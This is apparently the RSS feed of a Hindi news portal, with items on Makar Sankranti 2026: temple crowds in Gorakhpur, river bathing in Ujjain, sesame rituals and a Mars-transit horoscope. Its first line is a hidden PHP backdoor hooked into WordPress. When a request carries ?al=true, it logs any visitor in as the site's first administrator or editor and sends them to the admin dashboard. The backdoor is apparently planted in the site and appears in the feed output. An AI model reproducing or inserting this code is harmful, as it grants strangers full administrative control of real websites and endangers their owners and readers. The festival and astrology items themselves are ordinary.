// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Makar Sankranti – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 14 Jan 2026 15:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मकर संक्रांति से पहले गोरखनाथ मंदिर में श्रद्धालुओं की भीड़, खिचड़ी चढ़ाने का सिलसिला शुरू https://pratyushaashakinayikiran.com/?p=193536 Wed, 14 Jan 2026 15:45:00 +0000 https://pratyushaashakinayikiran.com/?p=193536 गोरखपुर
मकर संक्रांति 2026 को लेकर लोगों में भ्रम था कि इसे 14 जनवरी को मनाया जाए या फिर 15 जनवरी को। ज्योतिषाचार्यों ने भ्रम की इस स्थिति को खत्म करते हुए बता दिया है कि सूर्य 14 जनवरी यानी आज रात 9 बजकर 35 मिनट पर धनु राशि से निकलकर मकर राशि में प्रवेश करेंगे। ऐसे में शास्त्रों के अनुसार संक्रांति का पर्व उदया तिथि के आधार पर यानी अगले दिन 15 जनवरी को मान्य होगा। उत्तर प्रदेश सरकार ने मकर संक्रांति के उपलक्ष्य में होने वाला सार्वजनिक अवकाश भी 14 जनवरी के स्थान पर 15 जनवरी कर दिया है। लेकिन इस बीच 14 जनवरी को तड़के चार बजे गोरखपुर के गोरखनाथ मंदिर पर सदियों पुरानी परंपरा जीवंत हो गई। ब्रह्ममुहूर्त में जैसे ही मंदिर के कपाट खुले, श्रद्धालुओं ने बाबा गोरखनाथ को खिचड़ी अर्पित करनी शुरू कर दी। एक दिन पहले मंगलवार से ही बिहार, दिल्ली सहित अन्य राज्यों और आसपास के ग्रामीण क्षेत्रों और शहर से बड़ी संख्या में श्रद्धालु मंदिर परिसर पहुंच गए थे।
 
सुबह चार बजे से आठ बजे तक खिचड़ी चढ़ाने वालों की भारी भीड़ रही। इस दौरान मुख्य रूप से वे श्रद्धालु दर्शन को पहुंचे, जो पहले से गोरखनाथ मंदिर परिसर में मौजूद थे। सुबह आठ बजे के बाद कुछ समय के लिए भीड़ में कमी आई, लेकिन दस बजे के बाद श्रद्धालुओं की संख्या एक बार फिर तेजी से बढ़ गई। दरअसल, इस समय ट्रेन और अन्य साधनों से दूर-दराज क्षेत्रों से आने वाले श्रद्धालु मंदिर पहुंचे। भीड़ को नियंत्रित करने के लिए मंदिर प्रशासन लगातार अनाउंसमेंट करता रहा। श्रद्धालु सिंह द्वार पर खिचड़ी स्वरूप चावल अर्पित कर दर्शन के लिए आगे बढ़ते दिखे। भीड़ अधिक होने के कारण एक बार में 70 से 80 श्रद्धालुओं को ही मंदिर में प्रवेश दिया जा रहा है। फिलहाल पुरुष श्रद्धालुओं की तुलना में महिलाओं की संख्या अधिक देखी जा रही है।

गोरक्षपीठाधीश्वर कल तड़के चढ़ाएंगे खिचड़ी
इस वर्ष मकर संक्रांति 15 जनवरी को पड़ रही है। ऐसे में गुरुवार को विशेष उत्साह देखने को मिलेगा, जब तड़के सुबह मुख्यमंत्री योगी आदित्यनाथ सबसे पहले गुरु गोरखनाथ को खिचड़ी अर्पित करेंगे। श्रद्धालुओं की सुविधा के लिए महिला और पुरुषों के लिए अलग-अलग बैरिकेडिंग की गई है। मंदिर समिति श्रद्धालुओं से अपील कर रही है कि खिचड़ी इधर-उधर न फेंकें। खिचड़ी अर्पित करने के बाद श्रद्धालु उत्तरी द्वार से बाहर निकलकर हनुमान मंदिर के पास से होते हुए पूरे परिसर का भ्रमण कर रहे हैं।

 

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मकर संक्रांति पर स्नान न किया तो क्या होती है सजा? https://pratyushaashakinayikiran.com/?p=193479 Wed, 14 Jan 2026 11:00:00 +0000 https://pratyushaashakinayikiran.com/?p=193479 मकर संक्रांति सूर्य के मकर राशि में शुभ प्रवेश का प्रतीक है, जो उसकी उत्तर दिशा की यात्रा का संकेत देता है. हिंदू परंपरा में सूर्य की इस गति को बढ़ती रोशनी, गर्मी और नई ऊर्जा से जोड़ा जाता है इसलिए इस त्योहार को शारीरिक शुद्धि, मानसिक स्पष्टता और आध्यात्मिक उत्थान के लिए एक शक्तिशाली समय माना जाता है. मकर संक्रांति का त्योहार को लेकर इस बार कंफ्यूजन की स्थिति हुई. कई जगह आज मनाया जा रहा और कई जगह कल मनाया जाएगा. ऐसे में जानते हैं कि इस त्योहार पर स्नान न करने पर श्रद्धालु के जीवन में किस तरह का प्रभाव पड़ता है?

सबसे पहले बात करते हैं कि मकर संक्रांति को लेकर कंफ्यूजन की स्थिति क्यों हुई? दरअसल, कई पंचांगों में कहा गया है कि ये त्योहार 14 जनवरी को ही मनाया जाएगा, लेकिन काशी के पंचांग में दावा किया गया है कि सूर्यदेव मकर राशि में 14 जनवरी रात 9 बजकर 19 मिनट पर प्रवेश करेंगे. यही कारण है कि अगले दिन उदया तिथि में त्योहार मनाया जाएगा. इसके अलावा एक तर्क ये भी दिया जा रहा था कि 14 जनवरी को षटतिला एकादशी है, जिसके चलते चालव या अन्न दान नहीं किया जा सकता है. इसे अगले दिन ही मनाना शुभ रहेगा. आखिरकार 15 जनवरी को त्योहार को मनाना शुभ माना गया है.

मकर संक्रांति पर स्नान, ध्यान, दान का विशेष आध्यात्मिक महत्व है. इस दिन स्नान करने से पापों का नाश होता है. अगर कोई श्रद्धालु मकर संक्रांति पर स्नान नहीं करता है तो उसे सजा के तौर पर उसके जीवन में कई चीजें घटित हो सकती हैं. मान्यता है कि इस त्योहार पर पवित्र नदियों में ब्रह्म मुहूर्त में स्नान किया जाता है. खासकर गंगा में स्नान करने का अपना एक महत्व है. इससे पिछले पापों का विनाश होता है, जो भी व्यक्ति घर पर और पवित्र नदी में स्नान नहीं करता है वो विशेष पुण्य लाभ से वंचित रह सकता है.

मकर संक्रांति पर स्नान न करने से मनुष्य बनता है दरिद्र?

मान्यता ये भी है कि सूर्यदेव के उत्तरायण होने की वजह से प्रकृति में पॉजिटिव एनर्जी का प्रवाह बढ़ता है. कहा गया है कि स्नान न करने से शरीर में तामसिक ऊर्जा और आलस्य बना रहता है. इसकी वजह से सुबह का स्नान करने से शरीर शुद्ध होता है, जोकि नई ऊर्जा के संचार के लिए बहुत जरूरी होता है. कुछ पौराणिक कथाओं में जिक्र किया गया है कि जो व्यक्ति मकर संक्रांति जैसे पर्व पर स्नान और दान नहीं करता, वह अगले जन्म में दरिद्र या रोगों से ग्रसित हो सकता है.

शनिदेव हो जाते हैं नाराज!

मान्यता के मुताबिक, मकर संक्रांति पर स्नान और दान करने से सूर्य और शनि देव की कृपा बरसती है क्योंकि सूर्य देव के बेटे शनि अपने पिता का स्वागत इस दिन करते हैं. स्नान की अनदेखी करने से इन ग्रहों के शुभ प्रभाव में कमी आ सकती है. अगर कोई श्रद्धालु स्वास्थ्य कारणों या अन्य मजबूरी से नदी में पवित्र स्नान नहीं कर पार रहा है तो उसके लिए एक अलग तरह का विधान है. वह श्रद्धालु घर पर ही नहाने के पानी में थोड़ा गंगाजल डाले और काले तिल मिलाकर स्नान करे. इससे संक्रांति का पूरा पुण्य मिलेगा.

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मकर संक्रांति पर श्रद्धालुओं ने शिप्रा और नर्मदा में लगाई आस्था की डुबकी, रामघाट-सेठानी घाट पर दान-पुण्य https://pratyushaashakinayikiran.com/?p=193464 Wed, 14 Jan 2026 06:56:00 +0000 https://pratyushaashakinayikiran.com/?p=193464 नर्मदापुरम / उज्जैन/जबलपुर/खंडवा/खरगोन

उज्जैन में मकर संक्रांति पर्व पर सुबह से श्रद्धालु स्नान के लिए शिप्रा नदी के रामघाट सहित दत्त अखाड़ा घाट और अन्य घाटों पर स्नान कर रहे हैं। रामघाट पर सुबह से ही ठंड के बावजूद बड़ी संख्या में श्रद्धालु आस्था की डुबकी लगाते नजर आए।
 मकर संक्रांति के अवसर पर बुधवार  को उज्जैन के महाकाल मंदिर में भगवान महाकाल को तिल के तेल से स्नान कराया गया. वही पुण्य सलिला शिप्रा नदी के घाटों पर श्रद्धालुओं की भारी भीड़ उमड़ी. पौष मास के शुक्ल पक्ष की चतुर्थी के दिन सूर्योदय के साथ ही श्रद्धालुओं ने घाटों का रुख करना शुरू कर दिया.

कड़ी ठंड के बावजूद रामघाट और शिप्रा के अन्य घाटों पर भक्तों ने आस्था की डुबकी लगाई. स्नान के बाद भक्तों ने दान-पुण्य किया और महाकालेश्वर मंदिर में भगवान महाकाल का आशीर्वाद प्राप्त किया. 

घाटों पर होने वाली भीड़ की सुरक्षा को देखते हुए होमगार्ड और एसडीआरएफ की टीमें लगातार घाटों पर सतत निगरानी कर रही हैं। आला अधिकारियों के मुताबिक होमगार्ड और एसडीआरएफ की टीमें घाटों पर मौजूद हैं, जो श्रद्धालुओं को गहरे पानी में न जाने की चेतावनी देती रहीं।

इस बार 14-15 जनवरी को दो दिन संक्रांति का पर्व मनाया जा रहा है। आज घरों में तिल और गुड़ की मिठास रहेगी, वहीं सार्वजनिक स्थलों पर कई जगह पतंग महोत्सव का भी आयोजन किया जाएगा।

दोपहर 3:05 बजे मकर संक्रांति पर्व की शुरुआत पंडित जी के  अनुसार, 14 जनवरी को दोपहर 3:05 बजे सूर्य धनु राशि को छोड़कर मकर राशि में प्रवेश करेगा। यानी दोपहर 3:05 बजे से सूर्य की मकर संक्रांति पर्व की शुरुआत होगी।

दान-पुण्य के लिहाज इसका प्रभाव 15 जनवरी को माना जाएगा। क्योंकि धर्मशास्त्रों के अनुसार यदि सूर्य की संक्रांति दोपहर में या उसके बाद होती है, तो उसका पर्व काल अगले दिन मनाया जाता है।

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मकर संक्रांति पर काले तिल के करें 6 उपाय, ग्रह दोषों से मिलेगा छुटकारा! https://pratyushaashakinayikiran.com/?p=193199 Sat, 10 Jan 2026 15:55:00 +0000 https://pratyushaashakinayikiran.com/?p=193199 आमतौर पर मकर संक्रांति का पर्व हर साल 14 जनवरी के दिन मनाया जाता है। यह पर्व हिंदू धर्म के बड़े पर्वों में से एक है। ज्योतिष गणना के मुताबिक मकर संक्रांति के दिन भगवान सूर्य देवगुरु बृहस्पति की धनु राशि से निकल कर अपने पुत्र की राशि मकर में प्रवेश करते हैं। इस दिन के बाद से उनकी चाल उत्तर की तरफ हो जाती है।

इसे ही सूर्य का उत्तरायण कहते हैं। यह दिन दान, पुण्य और धार्मिक अनुष्ठानों के लिए खास माना जाता है। खासकर इस दिन काले तिल का विशेष महत्व होता है। इस दिन काले तिल का दान और इसका सेवन करना बेहद शुभ माना जाता है। इसके अलावा इस दिन तिल से जुड़े उपाय करने से व्यक्ति की किस्मत भी बदल सकती है। मकर संक्रांति के दिन अगर तिल से जुड़ा कुछ खास उपाय किया जाए तो शनि दोष, सूर्य दोष और पितृ दोष के प्रभाव से मुक्ति मिलती है। चलिए इन उपायों के बारे में जानते हैं।

शनि मंदिर में तिल का दीया जलाएं

मकर संक्रांति के दिन शनि मंदिर में तिल के तेल का दीपक जलाने से शनि दोष में राहत मिलती है। इस दिन स्नान करने के बाद तिल का दान भी अच्छा माना जाता है।

गंगाजल में मिलाकर स्नान करें

मकर संक्रांति के दिन भिगोए हुए काले तिल को गंगा जल में मिलाएं। इसके बाद इस जल से स्नान करना चाहिए। इस उपाय से रोग-दोष दूर होते हैं और जीवन में सकारात्मकता का संचार होता है व आर्थिक स्थिति बेहतर होती है।

सूर्य को अर्घ्य दें

मकर संक्रांति के दिन सूर्य की उपासना की जाती है। ऐसे में सुबह ब्रह्म मुहूर्त में स्नान करने के बाद भगवान सूर्य को अर्घ्य देना अत्यंत शुभ माना जाता है। अर्घ्य देने के लिए तांबे के लोटे में काले तिल और फूलों के साथ अक्षत डालकर भगवान सूर्य के मंत्र का जाप करते हुए जल अर्पित करें।

पीपल के पेड़ के नीचे जलाएं

मकर संक्रांति के दिन पीपल के पेड़ के नीचे तिल के तेल का दीपक जलाएं और पूर्वजों का स्मरण करें। ऐसा करने से पितृ प्रसन्न होते हैं और दोष का प्रभाव भी कम होता है।

मां लक्ष्मी होंगी प्रसन्न

मकर संक्रांति के दिन काला तिल और गुड़ का दान करने से माता लक्ष्मी प्रसन्न होती हैं। इस दिन जरूरतमंद लोगों को ठंड कपड़े देने से भी माता लक्ष्मी की कृपा प्राप्त होती है और धन आगमन होता है।

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मकर संक्रांति के बाद चमकेगा भाग्य, इन राशियों पर बरसेगी मंगल की विशेष कृपा https://pratyushaashakinayikiran.com/?p=193121 Fri, 09 Jan 2026 16:55:00 +0000 https://pratyushaashakinayikiran.com/?p=193121 मकर संक्रांति के बाद ग्रहों के सेनापति मंगल राशि परिवर्तन करने जा रहे हैं। ज्योतिष शास्त्र के अनुसार मंगल का गोचर सभी 12 राशियों के जीवन पर गहरा प्रभाव डालता है। यह गोचर कुछ राशियों के लिए भाग्योदय का संकेत देगा, वहीं कुछ को सावधानी बरतने की जरूरत होगी।

मंगल गोचर 2026 की तिथि और समय

ज्योतिषीय गणनाओं के अनुसार—
16 जनवरी 2026, भोर 4 बजकर 27 मिनट पर मंगल ग्रह मकर राशि में प्रवेश करेंगे। मंगल 23 फरवरी 2026, दोपहर 11 बजकर 49 मिनट तक मकर राशि में गोचर करेंगे। इसके बाद मंगल कुंभ राशि में प्रवेश कर जाएंगे। मकर राशि मंगल की उच्च राशि मानी जाती है, इसलिए इस गोचर का प्रभाव विशेष रूप से शक्तिशाली रहेगा।

मंगल गोचर 2026 का सभी राशियों पर प्रभाव

मेष राशि
मंगल आपके दसवें भाव में गोचर करेगा, जो करियर और कर्म का भाव है।
कार्यक्षेत्र में जबरदस्त उन्नति
प्रशासनिक कार्यों में सफलता
पिता के करियर में बदलाव के योग
उपाय: दूध उबालते समय उसे गिरने न दें।

वृष राशि
मंगल आपके नौवें भाव में रहेगा।
भाग्य का पूरा साथ मिलेगा
बड़े भाई से लाभ
चिकित्सा, कृषि और शस्त्र से जुड़े व्यवसाय में मुनाफा
उपाय: भाइयों की मदद जरूर करें।

मिथुन राशि
मंगल आठवें भाव में गोचर करेगा।
जीवन सुखमय रहेगा
अस्थायी मांगलिक दोष बनेगा
उपाय: तवा गर्म होने पर पानी के छींटे मारकर रोटी सेंकें।

कर्क राशि
मंगल सातवें भाव में रहेगा।
वैवाहिक जीवन में संतुलन जरूरी
अस्थायी मांगलिक दोष
उपाय: 23 फरवरी तक बांस से बनी वस्तुएं घर न लाएं।

सिंह राशि
मंगल छठे भाव में गोचर करेगा।
प्रभावशाली लोगों से संपर्क
भाई-बहनों और मित्रों को लाभ
उपाय: मंगलवार को भाई समान व्यक्ति को उपहार दें।

कन्या राशि
मंगल पांचवें भाव में रहेगा।
संतान सुख
बुद्धि और विवेक में वृद्धि
शिक्षा में सफलता
उपाय: रात में सिरहाने पानी रखें और बच्चों को दूध दान करें।

तुला राशि
मंगल चौथे भाव में गोचर करेगा।
भूमि, भवन और वाहन का सुख
माता का सहयोग
अस्थायी मांगलिक दोष
उपाय: सुबह उठकर कुल्ला करें।

वृश्चिक राशि
मंगल तीसरे भाव में रहेगा।
पराक्रम में वृद्धि
भाई-बहनों से सहयोग
ससुराल पक्ष से लाभ
उपाय: मंदिर में शहद का दान करें।

धनु राशि
मंगल दूसरे भाव में गोचर करेगा।
धन लाभ होगा लेकिन बचत कठिन
संतान सुख मिलेगा
 उपाय: भाइयों की मदद करते रहें।

मकर राशि
मंगल लग्न भाव में रहेगा।
स्वास्थ्य और आत्मविश्वास में वृद्धि
राजनीति और व्यापार में लाभ
अस्थायी मांगलिक दोष
उपाय: मंदिर में कपूर या दही का दान करें।

कुंभ राशि
मंगल बारहवें भाव में रहेगा।
खर्च बढ़ सकता है लेकिन धन की कमी नहीं
शय्या सुख में वृद्धि
अस्थायी मांगलिक दोष
उपाय: कुत्ते को मीठी रोटी खिलाएं और खाकी रंग की टोपी पहनें।

मीन राशि
मंगल ग्यारहवें भाव में गोचर करेगा।
आय में वृद्धि
इच्छाओं की पूर्ति
आध्यात्मिक झुकाव
उपाय: बेटी के ससुराल पक्ष को चादर भेंट करें।

मंगल गोचर 2026: क्या कहता है ज्योतिष?
मंगल का यह गोचर कई राशियों के लिए सफलता, साहस और धन वृद्धि लेकर आएगा। वहीं जिन राशियों पर अस्थायी मांगलिक दोष बन रहा है, उन्हें उपाय अपनाकर नकारात्मक प्रभाव से बचना चाहिए।

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